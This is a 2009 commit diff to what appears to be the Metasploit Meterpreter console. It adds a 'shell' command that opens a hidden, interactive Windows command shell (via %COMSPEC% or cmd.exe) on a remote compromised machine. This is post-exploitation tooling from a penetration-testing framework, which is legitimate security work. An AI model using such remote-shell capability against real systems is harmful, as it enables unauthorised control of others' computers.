Adds a shortcut for getting a shell (execute -f cmd -c -i -H) is now just "shell"

git-svn-id: file:///home/svn/framework3/trunk@7288 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore
2009-10-27 00:47:00 +00:00
parent 3b99a513ec
commit 8d8bc45dfd
@@ -55,6 +55,7 @@ class Console::CommandDispatcher::Stdapi::Sys
"reg" => "Modify and interact with the remote registry",
"rev2self" => "Calls RevertToSelf() on the remote machine",
"sysinfo" => "Gets information about the remote system, such as OS",
"shell" => "Drop into a system command shell",
"shutdown" => "Shuts down the remote computer",
}
end
@@ -132,6 +133,17 @@ class Console::CommandDispatcher::Stdapi::Sys
end
end
#
# Drop into a system shell as specified by %COMSPEC%
#
def cmd_shell(*args)
path = client.fs.file.expand_path("%COMSPEC%")
path = (path and not path.empty?) ? path : "cmd.exe"
cmd_execute("-f", path, "-c", "-H", "-i")
end
#
# Gets the process identifier that meterpreter is running in on the remote
# machine.